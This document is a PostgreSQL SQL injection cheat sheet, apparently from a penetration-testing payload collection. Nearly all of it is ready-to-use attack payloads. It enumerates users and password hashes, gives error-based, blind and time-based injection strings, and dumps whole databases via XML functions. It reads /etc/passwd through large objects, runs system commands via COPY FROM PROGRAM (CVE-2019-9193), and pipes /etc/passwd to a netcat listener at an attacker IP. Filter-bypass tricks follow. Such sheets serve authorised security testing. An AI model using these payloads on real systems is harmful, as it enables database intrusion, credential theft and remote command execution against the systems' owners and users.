SELECT user;SELECT current_user;SELECT session_user;SELECT usename FROM pg_user;SELECT getpgusername();
PostgreSQL List Users
SELECT usename FROM pg_user
PostgreSQL List Password Hashes
SELECT usename, passwd FROM pg_shadow
PostgreSQL List Database Administrator Accounts
SELECT usename FROM pg_user WHERE usesuper IS TRUE
PostgreSQL List Privileges
SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
PostgreSQL Check if Current User is Superuser
SHOW is_superuser; SELECT current_setting('is_superuser');SELECT usesuper FROM pg_user WHERE usename = CURRENT_USER;
PostgreSQL Database Name
SELECT current_database()
PostgreSQL List Database
SELECT datname FROM pg_database
PostgreSQL List Tables
SELECT table_name FROM information_schema.tables
PostgreSQL List Columns
SELECT column_name FROM information_schema.columns WHERE table_name='data_table'
PostgreSQL Error Based
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC),cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name='data_table'+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1
PostgreSQL XML helpers
select query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row
The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.
select database_to_xml(true,true,''); -- dump the current database to XMLselect database_to_xmlschema(true,true,''); -- dump the current db to an XML schema
Note, with the above queries, the output needs to be assembled in memory. For larger databases, this might cause a slow down or denial of service condition.
PostgreSQL Blind
' and substr(version(),1,10) = 'PostgreSQL' and '1-> OK' and substr(version(),1,10) = 'PostgreXXX' and '1-> KO
PostgreSQL Time Based
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))AND [RANDNUM]=(SELECTCOUNT(*) FROMGENERATE_SERIES(1,[SLEEPTIME]000000))
NOTE: Earlier versions of Postgres did not accept absolute paths in pg_read_file or pg_ls_dir. Newer versions (as of this commit) will allow reading any file/filepath for super users or users in the default_role_read_server_files group.
SELECT lo_import('/etc/passwd'); -- will create a large object from the file and return the OIDSELECT lo_get(16420); -- use the OID returned from the aboveSELECT*from pg_largeobject; -- or just get all the large objects and their data
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some dataSELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20SELECT lo_export(43210, '/tmp/testexport'); -- export data to /tmp/testexport
PostgreSQL Command execution
CVE-2019–9193
Can be used from Metasploit if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
Using libc.so.6
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');
Bypass Filter
Quotes
Using CHR
SELECT CHR(65)||CHR(66)||CHR(67);
Using Dollar-signs ( >= version 8 PostgreSQL)
SELECT $$This is a string$$SELECT $TAG$This is another string$TAG$